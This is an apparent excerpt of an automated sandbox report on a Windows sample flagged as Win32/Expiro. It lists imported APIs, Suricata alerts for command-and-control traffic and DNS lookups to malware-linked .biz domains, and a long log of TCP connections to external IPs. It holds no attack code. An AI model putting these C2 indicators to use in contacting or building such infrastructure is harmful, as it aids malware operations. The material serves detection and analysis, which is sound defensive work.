CreatePopupMenu, LockWindowUpdate
GDI32.dll	PtVisible, RectVisible, RestoreDC, SaveDC, SelectClipRgn, ExtSelectClipRgn, SelectObject, SelectPalette, SetBkColor, SetBkMode, SetMapMode, SetLayout, GetLayout, SetPolyFillMode, SetROP2, SetTextColor, SetTextAlign, GetObjectW, MoveToEx, TextOutW, SetViewportExtEx, SetViewportOrgEx, SetWindowExtEx, SetWindowOrgEx, OffsetViewportOrgEx, OffsetWindowOrgEx, ScaleViewportExtEx, ScaleWindowExtEx, CreateFontIndirectW, GetMapMode, LineTo, DPtoLP, CreateCompatibleBitmap, CreateDIBitmap, EnumFontFamiliesW, GetTextCharsetInfo, RealizePalette, SetPixel, StretchBlt, CreateDIBSection, SetDIBColorTable, CreateRoundRectRgn, Rectangle, GetRgnBox, OffsetRgn, RoundRect, CreatePalette, GetPaletteEntries, GetNearestPaletteIndex, GetSystemPaletteEntries, EnumFontFamiliesExW, ExtFloodFill, SetPaletteEntries, FillRgn, FrameRgn, GetBoundsRect, PtInRegion, GetViewportOrgEx, LPtoDP, GetWindowOrgEx, SetPixelV, GetTextFaceW, IntersectClipRect, GetWindowExtEx, GetViewportExtEx, GetStockObject, GetPixel, GetObjectType, GetClipBox, ExcludeClipRect, Escape, DeleteObject, CreatePatternBrush, CreatePen, CreateCompatibleDC, CreateBitmap, BitBlt, GetDeviceCaps, CreateDCW, CopyMetaFileW, GetTextMetricsW, Polyline, Polygon, CreatePolygonRgn, ExtTextOutW, PatBlt, GetTextExtentPoint32W, GetTextColor, GetBkColor, CreateSolidBrush, CreateRectRgnIndirect, CreateRectRgn, CreateHatchBrush, CreateEllipticRgn, CombineRgn, SetRectRgn, Ellipse, DeleteDC
MSIMG32.dll	TransparentBlt, AlphaBlend
WINSPOOL.DRV	DocumentPropertiesW, OpenPrinterW, ClosePrinter
ADVAPI32.dll	RegQueryInfoKeyW, OpenProcessToken, RegEnumKeyExW, RegEnumValueW, RegQueryValueW, RegEnumKeyW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegOpenKeyExW, SetTokenInformation, AllocateAndInitializeSid, GetLengthSid, DuplicateTokenEx, RegCloseKey, RegQueryValueExA, RegSetValueExW, RegQueryInfoKeyA, RegOpenKeyExA, RegQueryValueExW, RegEnumKeyExA, LookupPrivilegeValueW, InitiateSystemShutdownW, AdjustTokenPrivileges
SHELL32.dll	ShellExecuteExW, SHFileOperationA, SHGetSpecialFolderPathW, DragFinish, DragQueryFileW, ShellExecuteW, SHGetFileInfoW, SHAppBarMessage, SHGetDesktopFolder, SHBrowseForFolderW, SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHGetMalloc
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	PathFindExtensionW, PathFindFileNameW, PathRemoveFileSpecW, PathIsUNCW, StrFormatKBSizeW, PathStripToRootW, PathFileExistsW
UxTheme.dll	DrawThemeBackground, GetThemeColor, GetCurrentThemeName, IsAppThemed, CloseThemeData, DrawThemeText, GetWindowTheme, GetThemePartSize, IsThemeBackgroundPartiallyTransparent, GetThemeSysColor, OpenThemeData, DrawThemeParentBackground
ole32.dll	IsAccelerator, OleTranslateAccelerator, OleDestroyMenuDescriptor, OleCreateMenuDescriptor, OleUninitialize, CoFreeUnusedLibraries, OleLockRunning, RevokeDragDrop, RegisterDragDrop, OleGetClipboard, DoDragDrop, OleIsCurrentClipboard, OleFlushClipboard, CreateILockBytesOnHGlobal, CoLockObjectExternal, StgOpenStorageOnILockBytes, StgCreateDocfileOnILockBytes, CoGetClassObject, CoDisconnectObject, CreateStreamOnHGlobal, ReleaseStgMedium, OleDuplicateData, CoTaskMemFree, CoTaskMemAlloc, CLSIDFromProgID, CoInitialize, CoCreateInstance, CoCreateGuid, CLSIDFromString, CoInitializeEx, CoUninitialize, CoRevokeClassObject, CoRegisterMessageFilter, OleInitialize
OLEAUT32.dll	SysFreeString, SysAllocStringLen, VariantInit, VariantClear, VariantChangeType, SysAllocString, SystemTimeToVariantTime, VariantTimeToSystemTime, SafeArrayDestroy, SysStringLen, LoadTypeLib, OleCreateFontIndirect, VarBstrFromDate, VariantCopy
oledlg.dll	OleUIBusyW
gdiplus.dll	GdipDrawImageRectI, GdipSetInterpolationMode, GdipCreateFromHDC, GdipCreateBitmapFromHBITMAP, GdipDrawImageI, GdipDeleteGraphics, GdipBitmapUnlockBits, GdipBitmapLockBits, GdiplusShutdown, GdipAlloc, GdipFree, GdiplusStartup, GdipCloneImage, GdipDisposeImage, GdipGetImageGraphicsContext, GdipGetImageWidth, GdipGetImageHeight, GdipGetImagePixelFormat, GdipGetImagePalette, GdipGetImagePaletteSize, GdipCreateBitmapFromStream, GdipCreateBitmapFromScan0
SETUPAPI.dll	CM_Reenumerate_DevNode_Ex, CM_Locate_DevNode_ExW, SetupDiEnumDeviceInfo, SetupDiGetDeviceRegistryPropertyW, SetupDiGetClassDevsW, SetupCloseInfFile, SetupFindFirstLineA, SetupFindNextLine, SetupGetMultiSzFieldA, SetupOpenInfFileW, SetupGetStringFieldA, SetupDiDestroyDeviceInfoList
USERENV.dll	CreateEnvironmentBlock
newdev.dll	UpdateDriverForPlugAndPlayDevicesW
OLEACC.dll	CreateStdAccessibleObject, LresultFromObject, AccessibleObjectFromWindow
IMM32.dll	ImmReleaseContext, ImmGetOpenStatus, ImmGetContext
WINMM.dll	PlaySoundW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T16:50:00.848951+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.5	49705	TCP
2024-10-28T16:50:00.848951+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.5	49705	TCP
2024-10-28T16:50:02.388480+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.5	49707	TCP
2024-10-28T16:50:02.388480+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.5	49707	TCP
2024-10-28T16:50:03.407124+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.5	49709	44.221.84.105	80	TCP
2024-10-28T16:50:04.593285+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.5	49711	TCP
2024-10-28T16:50:04.593285+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.5	49711	TCP
2024-10-28T16:50:04.596830+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.5	62067	1.1.1.1	53	UDP
2024-10-28T16:50:06.156760+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.5	64098	1.1.1.1	53	UDP
2024-10-28T16:50:43.727257+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.5	49919	TCP
2024-10-28T16:50:43.727257+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.5	49919	TCP
2024-10-28T16:50:45.659876+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.5	49930	TCP
2024-10-28T16:50:45.659876+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.5	49930	TCP
2024-10-28T16:50:51.190177+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.246.200.160	80	192.168.2.5	49966	TCP
2024-10-28T16:50:51.190177+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.246.200.160	80	192.168.2.5	49966	TCP
2024-10-28T16:50:52.166217+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.208.156.248	80	192.168.2.5	49975	TCP
2024-10-28T16:50:52.166217+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.208.156.248	80	192.168.2.5	49975	TCP
2024-10-28T16:50:58.470918+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.5	50002	TCP
2024-10-28T16:50:58.470918+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	35.164.78.200	80	192.168.2.5	50002	TCP
2024-10-28T16:50:59.362254+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.5	50003	TCP
2024-10-28T16:50:59.362254+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.5	50003	TCP
2024-10-28T16:51:04.096495+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.211.97.45	80	192.168.2.5	50006	TCP
2024-10-28T16:51:04.096495+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.211.97.45	80	192.168.2.5	50006	TCP
2024-10-28T16:51:12.183078+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.5	50012	18.246.231.120	80	TCP
2024-10-28T16:51:12.188937+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.246.231.120	80	192.168.2.5	50012	TCP
2024-10-28T16:51:12.188937+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.246.231.120	80	192.168.2.5	50012	TCP
2024-10-28T16:51:26.049079+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.254.94.185	80	192.168.2.5	50023	TCP
2024-10-28T16:51:26.049079+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.254.94.185	80	192.168.2.5	50023	TCP
2024-10-28T16:51:41.621440+0100	2051651	ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)	1	192.168.2.5	53826	1.1.1.1	53	UDP
2024-10-28T16:52:01.565340+0100	2051653	ET MALWARE DNS Query to Expiro Domain (htwqzczce .biz)	1	192.168.2.5	53034	1.1.1.1	53	UDP
2024-10-28T16:52:07.869496+0100	2051654	ET MALWARE DNS Query to Expiro Domain (cikivjto .biz)	1	192.168.2.5	55131	1.1.1.1	53	UDP
2024-10-28T16:52:12.523104+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.5	50068	18.208.156.248	80	TCP
2024-10-28T16:52:15.882417+0100	2051650	ET MALWARE DNS Query to Expiro Domain (kcyvxytog .biz)	1	192.168.2.5	58235	1.1.1.1	53	UDP
2024-10-28T16:52:38.611879+0100	2051652	ET MALWARE DNS Query to Expiro Domain (napws .biz)	1	192.168.2.5	60710	1.1.1.1	53	UDP
2024-10-28T16:52:54.306362+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.5	53017	1.1.1.1	53	UDP
2024-10-28T16:52:55.922346+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.5	61825	1.1.1.1	53	UDP
2024-10-28T16:52:55.944670+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.5	61825	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 16:49:58.900762081 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:58.906209946 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:58.906281948 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:58.906426907 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:58.906460047 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:58.912231922 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:58.912246943 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:59.867952108 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:59.871433020 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:59.871670961 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:59.888617039 CET	49704	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:59.894376040 CET	80	49704	54.244.188.177	192.168.2.5
Oct 28, 2024 16:49:59.994373083 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:49:59.999912024 CET	80	49705	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:00.000077009 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:00.000165939 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:00.000225067 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:00.005958080 CET	80	49705	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:00.006056070 CET	80	49705	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:00.021017075 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.026557922 CET	80	49706	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:00.026637077 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.026778936 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.026796103 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.032521009 CET	80	49706	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:00.032552958 CET	80	49706	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:00.842086077 CET	80	49705	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:00.842322111 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:00.848951101 CET	80	49705	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:00.849133015 CET	49705	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:00.933182955 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.938891888 CET	80	49707	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:00.939004898 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.939378023 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.939480066 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:00.945270061 CET	80	49707	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:00.945831060 CET	80	49707	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:01.442179918 CET	80	49706	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:01.442394018 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:01.448398113 CET	80	49706	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:01.448492050 CET	49706	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:01.643116951 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:01.648516893 CET	80	49708	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:01.648710012 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:01.648710012 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:01.648732901 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:01.654169083 CET	80	49708	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:01.654182911 CET	80	49708	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:02.377466917 CET	80	49707	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:02.380902052 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:02.388479948 CET	80	49707	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:02.388654947 CET	49707	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:02.469491005 CET	80	49708	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:02.472599983 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.478205919 CET	80	49708	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:02.478260994 CET	49708	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.692472935 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:02.697990894 CET	80	49709	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:02.698312998 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:02.698465109 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:02.698534966 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:02.705987930 CET	80	49709	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:02.706002951 CET	80	49709	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:02.732785940 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.740106106 CET	80	49710	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:02.740196943 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.740437031 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.740464926 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:02.747560024 CET	80	49710	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:02.747575998 CET	80	49710	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:03.372359991 CET	80	49709	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:03.407058954 CET	80	49709	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:03.407124043 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:03.586586952 CET	80	49710	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:03.586729050 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:03.592648983 CET	80	49710	54.244.188.177	192.168.2.5
Oct 28, 2024 16:50:03.592709064 CET	49710	80	192.168.2.5	54.244.188.177
Oct 28, 2024 16:50:03.712305069 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:03.919926882 CET	80	49711	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:03.920023918 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:03.920277119 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:03.920291901 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:03.925868988 CET	80	49711	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:03.925899982 CET	80	49711	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:04.587095022 CET	80	49711	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:04.587332010 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:04.593285084 CET	80	49711	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:04.593383074 CET	49711	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:04.651236057 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:04.656694889 CET	80	49713	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:04.656956911 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:04.656956911 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:04.656980991 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:04.662329912 CET	80	49713	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:04.662341118 CET	80	49713	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:05.319967031 CET	80	49713	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:05.320099115 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.348968029 CET	49713	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.354357958 CET	80	49713	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:05.410794020 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.416110992 CET	80	49719	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:05.416186094 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.416445971 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.416553020 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:05.421839952 CET	80	49719	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:05.421881914 CET	80	49719	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:06.110512972 CET	80	49719	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:06.110600948 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:06.110693932 CET	49719	80	192.168.2.5	172.234.222.138
Oct 28, 2024 16:50:06.116477966 CET	80	49719	172.234.222.138	192.168.2.5
Oct 28, 2024 16:50:06.189582109 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:06.195058107 CET	80	49720	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:06.195144892 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:06.195262909 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:06.195286036 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:06.200642109 CET	80	49720	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:06.201052904 CET	80	49720	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:07.635282040 CET	80	49720	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:07.635601044 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:07.641532898 CET	80	49720	18.141.10.107	192.168.2.5
Oct 28, 2024 16:50:07.641638041 CET	49720	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:07.815546036 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:07.821094036 CET	80	49730	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:07.821176052 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:07.821641922 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:07.821676970 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:07.827199936 CET	80	49730	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:07.827213049 CET	80	49730	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:16.300143957 CET	80	49730	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:16.300225019 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.300282001 CET	49730	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.305748940 CET	80	49730	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:16.347595930 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.353202105 CET	80	49780	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:16.353271008 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.353391886 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.353420019 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:16.358925104 CET	80	49780	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:16.358935118 CET	80	49780	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:24.834953070 CET	80	49780	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:24.835617065 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.835726023 CET	49780	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.841334105 CET	80	49780	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:24.914189100 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.919743061 CET	80	49830	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:24.919847012 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.924645901 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.924668074 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:24.930082083 CET	80	49830	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:24.930192947 CET	80	49830	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:30.886439085 CET	49709	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:33.394474030 CET	80	49830	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:33.394535065 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.394581079 CET	49830	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.400069952 CET	80	49830	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:33.459481955 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.465018988 CET	80	49873	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:33.465109110 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.465249062 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.465286970 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:33.471529007 CET	80	49873	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:33.471723080 CET	80	49873	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:41.952182055 CET	80	49873	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:41.952260971 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:41.952372074 CET	49873	80	192.168.2.5	82.112.184.197
Oct 28, 2024 16:50:41.957757950 CET	80	49873	82.112.184.197	192.168.2.5
Oct 28, 2024 16:50:42.132981062 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:42.274378061 CET	80	49919	47.129.31.212	192.168.2.5
Oct 28, 2024 16:50:42.274468899 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:42.274624109 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:42.274646044 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:42.280158043 CET	80	49919	47.129.31.212	192.168.2.5
Oct 28, 2024 16:50:42.280167103 CET	80	49919	47.129.31.212	192.168.2.5
Oct 28, 2024 16:50:43.717546940 CET	80	49919	47.129.31.212	192.168.2.5
Oct 28, 2024 16:50:43.718588114 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:43.727257013 CET	80	49919	47.129.31.212	192.168.2.5
Oct 28, 2024 16:50:43.728524923 CET	49919	80	192.168.2.5	47.129.31.212
Oct 28, 2024 16:50:44.133097887 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:44.138514996 CET	80	49930	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:44.138597012 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:44.138880014 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:44.138880014 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:44.144412041 CET	80	49930	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:44.144434929 CET	80	49930	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:45.564770937 CET	80	49930	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:45.615720987 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:45.653712988 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:45.659876108 CET	80	49930	13.251.16.150	192.168.2.5
Oct 28, 2024 16:50:45.662187099 CET	49930	80	192.168.2.5	13.251.16.150
Oct 28, 2024 16:50:45.901134968 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:45.907051086 CET	80	49941	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:45.907183886 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:45.907524109 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:45.907537937 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:45.913147926 CET	80	49941	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:45.913567066 CET	80	49941	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:46.573523045 CET	80	49941	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:46.573682070 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:46.579859972 CET	80	49941	44.221.84.105	192.168.2.5
Oct 28, 2024 16:50:46.579904079 CET	49941	80	192.168.2.5	44.221.84.105
Oct 28, 2024 16:50:46.817002058 CET	49947	80	192.168.2.5	18.141.10.107
Oct 28, 2024 16:50:46.822444916 CET	80	49947	18.141.10.107	192.168.2.5
